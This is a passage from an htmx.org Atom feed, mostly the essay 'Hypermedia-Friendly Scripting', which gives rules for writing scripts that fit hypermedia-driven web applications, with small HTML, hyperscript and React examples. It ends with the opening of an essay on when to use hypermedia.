&lt;p&gt;--&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_7&quot;&gt;Roy Fielding - Representational State Transfer (REST)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;scripting_and_the_web&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#scripting_and_the_web&quot; aria-label=&quot;Anchor link for: scripting_and_the_web&quot;&gt;Scripting &amp;amp; The Web&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;Hypermedia-Driven Applications&lt;&#x2F;a&gt; we discuss how to build
web applications in such a manner that they are &lt;em&gt;hypermedia&lt;&#x2F;em&gt;-driven, in contrast with the popular SPA approach, in which
they are &lt;em&gt;JavaScript&lt;&#x2F;em&gt; and, at the network-level, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;how-did-rest-come-to-mean-the-opposite-of-rest&#x2F;&quot;&gt;RPC-driven&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In the HDA article we mention scripting briefly:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;In an HDA, hypermedia (HTML) is the primary medium for building the application, which means that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;All communication with the server is still managed via HTTP requests with hypermedia (HTML) responses&lt;&#x2F;li&gt;
&lt;li&gt;Scripting is used mainly to enhance the front-end experience of the application&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Scripting augments the existing hypermedia (HTML) but does not supersede it or subvert the fundamental REST-ful
architecture of the HDA.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;In this article we would like to expand on this last comment and describe what scripting that does not “supersede” or
“subvert” a REST-ful, Hypermedia-Driven Application looks like.  These rules of thumb apply to scripting written
directly to support a web application, as well as to general purpose JavaScript libraries.&lt;&#x2F;p&gt;
&lt;p&gt;The basic rules for hypermedia-friendly scripting are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-friendly-scripting&#x2F;#prime_directive&quot;&gt;Respect HATEOAS&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-friendly-scripting&#x2F;#state&quot;&gt;Client-side only state is OK&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-friendly-scripting&#x2F;#events&quot;&gt;Use events to communicate between components&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-friendly-scripting&#x2F;#islands&quot;&gt;Use islands to isolate non-hypermedia components from the rest of your application&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-friendly-scripting&#x2F;#inline&quot;&gt;Optionally, consider inline scripting&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Each of these rules will be elaborated on below.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;prime_directive&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#prime_directive&quot; aria-label=&quot;Anchor link for: prime_directive&quot;&gt;The Prime Directive&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The prime directive of an HDA is to use &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;Hypermedia As The Engine of Application State&lt;&#x2F;a&gt;.
A hypermedia-friendly scripting approach will follow this directive.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Practically, this means that scripting should avoid making non-hypermedia exchanges over the network with a server.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So, in general, hypermedia-friendly scripting should avoid the use of &lt;code&gt;fetch()&lt;&#x2F;code&gt; and &lt;code&gt;XMLHttpRequest&lt;&#x2F;code&gt; &lt;em&gt;unless&lt;&#x2F;em&gt; the responses
from the server use a hypermedia of some sort (e.g. HTML), rather than a data API format (e.g. plain JSON).&lt;&#x2F;p&gt;
&lt;p&gt;Respecting HATEOAS also means that, in general, complicated state stored in JavaScript (rather than in the DOM) should
be avoided.&lt;&#x2F;p&gt;
&lt;p&gt;However, this last statement needs to be qualified: state may be stored client-side in JavaScript so long as it is
directly supporting a more sophisticated front-end experience (e.g. widget) than pure HTML allows.&lt;&#x2F;p&gt;
&lt;p&gt;To reiterate what Fielding says regarding the purpose of scripting in REST:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Allowing features to be downloaded after deployment improves system extensibility.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;So scripting is a legitimate part a REST-ful system, in order to allow the creation of additional features not directly implemented
within the underlying hypermedia, thus making a hypermedia (e.g. HTML) more extensible.&lt;&#x2F;p&gt;
&lt;p&gt;A good example of this sort of feature is a rich-text editor: it might have an extremely sophisticated JavaScript model
of the editor’s document, including selection information, highlighting information, code completion and so forth.
However, this model should be isolated from the rest of the DOM and the rich text editor should expose its information
to the DOM using standard hypermedia features.  For example, it should use a hidden input to communicate the contents of the
editor to the surrounding DOM, rather than requiring a JavaScript API call to get the content.&lt;&#x2F;p&gt;
&lt;p&gt;The idea is to use scripting to improve the hypermedia experience by providing features and functionality that are
not part of the standard hypermedia (HTML) tool set, but do so in a way that plays well with HTML, rather than relegating
HTML to a mere UI description language within a larger JavaScript application, as many SPA frameworks do.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;state&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#state&quot; aria-label=&quot;Anchor link for: state&quot;&gt;State&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Note that using Hypermedia As The Engine Of Application State does not mean that you cannot have &lt;em&gt;any&lt;&#x2F;em&gt; client-side state.
Obviously, the rich-text editor example cited above may have a significant amount of client-side state.  But
there are simpler cases where client-side state are warranted and perfectly consistent with a Hypermedia-Driven Application.&lt;&#x2F;p&gt;
&lt;p&gt;Consider a simple visibility toggle, where clicking a button or anchor adds a class to another element, making it visible.&lt;&#x2F;p&gt;
&lt;p&gt;This ephemeral client-side state is fine in a Hypermedia-Driven Application, because the state is purely front-end.  No
system state is being updated with this sort of scripting.  If system state were to be mutated (that is, if showing or
hiding the element had an effect on the data stored on the server), then it would be necessary to use a hypermedia
exchange.&lt;&#x2F;p&gt;
&lt;p&gt;The crucial aspect to consider is whether any state updated on the client side needs to be synchronized with the server.&lt;br &#x2F;&gt;
If yes, then a hypermedia exchange should be used.  If no, then it is fine to keep the state client-side only.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;events&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#events&quot; aria-label=&quot;Anchor link for: events&quot;&gt;Events&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;One excellent way for a JavaScript library to enable hypermedia-friendly scripting is for it to have
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Learn&#x2F;JavaScript&#x2F;Building_blocks&#x2F;Events&quot;&gt;a rich custom event model&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;A JavaScript-based component that triggers events allows for hypermedia-oriented JavaScript libraries, such as htmx,
to listen for those events and trigger hypermedia exchanges.  This, in turn, makes any JavaScript library a potential
&lt;em&gt;hypermedia control&lt;&#x2F;em&gt;, able to drive the Hypermedia-Driven Application via user-selected actions.&lt;&#x2F;p&gt;
&lt;p&gt;A good example of this is the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;sortable&#x2F;&quot;&gt;Sortable.js&lt;&#x2F;a&gt; example, in which htmx listens for
the &lt;code&gt;end&lt;&#x2F;code&gt; event triggered by Sortable.js:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;sortable&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-post&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;items&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-trigger&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;end&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;htmx-indicator&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Updating...&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;hidden&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;item&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;Item 1&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;hidden&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;item&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;Item 2&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;hidden&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;item&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;3&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;Item 3&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;hidden&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;item&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;4&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;Item 4&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;hidden&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;item&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;5&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;Item 5&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;end&lt;&#x2F;code&gt; event is triggered by Sortable.js when a drag-and-drop completes.  htmx listens for this event via the
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;attributes&#x2F;hx-trigger&#x2F;&quot;&gt;&lt;code&gt;hx-trigger&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; attribute and then issues an HTTP request, exchanging hypermedia with the
server.  This turns this Sortable.js drag-and-drop powered widget into a new, powerful hypermedia control.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;islands&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#islands&quot; aria-label=&quot;Anchor link for: islands&quot;&gt;Islands&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A recent trend in web development is the notion of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.patterns.dev&#x2F;posts&#x2F;islands-architecture&#x2F;&quot;&gt;“islands”&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The islands architecture encourages small, focused chunks of interactivity within server-rendered web pages.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;In cases where a more sophisticated scripting approach is required and where communication with a server
outside of the normal hypermedia-exchange mechanism is necessary, the most hypermedia-friendly approach is to use the island
architecture.  This isolates non-hypermedia components from the rest of the Hypermedia-Driven Application.&lt;&#x2F;p&gt;
&lt;p&gt;Events are a clean way to integrate your non-hypermedia-driven islands within a broader Hypermedia-Driven Application,
allowing you to convert an “inner” island into an “outer” hypermedia control, just as in the case of the Sortable.js example
above.&lt;&#x2F;p&gt;
&lt;p&gt;Deniz Akşimşek has made the observation that it is typically easier to embed non-hypermedia islands within a larger
Hypermedia-Driven Application, rather than vice-versa.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;inline&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#inline&quot; aria-label=&quot;Anchor link for: inline&quot;&gt;Inline Scripts&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A final rule for hypermedia-friendly scripting is inline scripting: writing your scripts directly within a hypermedia,
rather than locating your scripts in an external file.  This is a controversial concept compared with the others
listed here, and we consider it an “optional” rule for hypermedia-friendly scripting: worth considering but not required.&lt;&#x2F;p&gt;
&lt;p&gt;This approach to scripting, while idiosyncratic, has been adopted by some HTML scripting libraries, notably
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpinejs.dev&#x2F;&quot;&gt;Alpine.js&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&quot;&gt;hyperscript&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Here is some example hyperscript, showing an inline script:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;on click toggle .visible on the next &amp;lt;section&#x2F;&amp;gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    Show Next Section
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;section&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    ....
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;section&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This button, as it says, toggles the &lt;code&gt;.visible&lt;&#x2F;code&gt; class on the &lt;code&gt;section&lt;&#x2F;code&gt; element when it is clicked.&lt;&#x2F;p&gt;
&lt;p&gt;A primary advantage of this inline approach to hypermedia scripting is that, conceptually, the hypermedia itself is
emphasized, rather than the scripting of the hypermedia.&lt;&#x2F;p&gt;
&lt;p&gt;Contrast this code with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;reactjs.org&#x2F;docs&#x2F;components-and-props.html&quot;&gt;JSX Components&lt;&#x2F;a&gt;, where the
scripting language (JavaScript) is the core concept, with hypermedia&#x2F;HTML embedded within it:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;Button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;extends &lt;&#x2F;span&gt;&lt;span&gt;React.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;Component &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;constructor&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;props&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;&#x2F; ...
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;toggleVisibilityOnNextSection&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;&#x2F; ...
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;render&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;button onClick={this.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;toggleVisibilityOnNextSection&lt;&#x2F;span&gt;&lt;span&gt;}&amp;gt;{this.props.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;}&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here, you can see that the JavaScript is the primary technology in use, with the hypermedia&#x2F;HTML being used as a UI
description mechanism.  The fact that the HTML is a hypermedia is almost immaterial in this case.&lt;&#x2F;p&gt;
&lt;p&gt;That being said, the inline scripting and the JSX approach do share an advantage in common: both satisfy the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;locality-of-behaviour&#x2F;&quot;&gt;Locality of Behavior(LoB)&lt;&#x2F;a&gt;,
design principle.  They both &lt;em&gt;localize&lt;&#x2F;em&gt; behavior to the elements or components in question, which makes it easier to see
what these elements and components do.&lt;&#x2F;p&gt;
&lt;p&gt;Of course, with inline scripts, there should be a soft limit to the amount of scripting done directly within the
hypermedia.  You don’t want to overwhelm your hypermedia with scripting, so that it becomes difficult to understand “the shape”
of the hypermedia document.&lt;&#x2F;p&gt;
&lt;p&gt;Using techniques like invoking library functions or using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&#x2F;features&#x2F;behavior&#x2F;&quot;&gt;hyperscript behaviors&lt;&#x2F;a&gt;
allow you to use inline scripting while pulling implementations out to a separate file or location.&lt;&#x2F;p&gt;
&lt;p&gt;Inline scripting isn’t required for scripting to be hypermedia-friendly, but it is worth considering as an alternative to a
more traditional scripting&#x2F;hypermedia split.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pragmatism&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#pragmatism&quot; aria-label=&quot;Anchor link for: pragmatism&quot;&gt;Pragmatism&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Of course, here in the real world, there are many useful JavaScript libraries that violate HATEOAS and that do not trigger
events.  This often makes them difficult fits for a Hypermedia-Driven Application.  Nonetheless, these libraries may
provide crucial bits of functionality that are difficult to find elsewhere.&lt;&#x2F;p&gt;
&lt;p&gt;In cases like this, we advocate pragmatism: if it is easy enough to alter the library to be hypermedia-friendly or to
wrap it in a hypermedia-friendly way, that may be a good option.  You never know, the upstream author might
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dropzone&#x2F;dropzone&#x2F;commit&#x2F;64771e35baf032ee0910d1e56e6f44457efe138e&quot;&gt;consider a pull request&lt;&#x2F;a&gt;
to help improve their library.&lt;&#x2F;p&gt;
&lt;p&gt;But, if not, and if there are no good alternatives, then just use the JavaScript library as it is designed.&lt;&#x2F;p&gt;
&lt;p&gt;Try to isolate a hypermedia-unfriendly library from the rest of your application, but, in general, do not
spend too much of your &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&#x2F;docs&#x2F;#debugging&quot;&gt;complexity budget&lt;&#x2F;a&gt; on maintaining conceptual purity:
sufficient unto the day is the evil thereof.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>When Should You Use Hypermedia?</title>
        <published>2022-10-23T00:00:00+00:00</published>
        <updated>2023-02-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/when-to-use-hypermedia/"/>
        <id>https://htmx.org/essays/when-to-use-hypermedia/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/when-to-use-hypermedia/">&lt;blockquote&gt;
&lt;p&gt;The trade-off, though, is that a uniform interface degrades efficiency, since information is transferred in a
standardized form rather than one which is specific to an application’s needs. The REST interface is designed to be
efficient for large-grain hypermedia data transfer, optimizing for the common case of the Web, but resulting in an
interface that is not optimal for other forms of architectural interaction.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;em&gt;-Roy Fielding, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_5&quot;&gt;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_5&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We are obviously fans of hypermedia and think that it can address, at least in part, many of the problems that the web
development world is facing today:&lt;&#x2F;p&gt;
&lt;ul&gt;
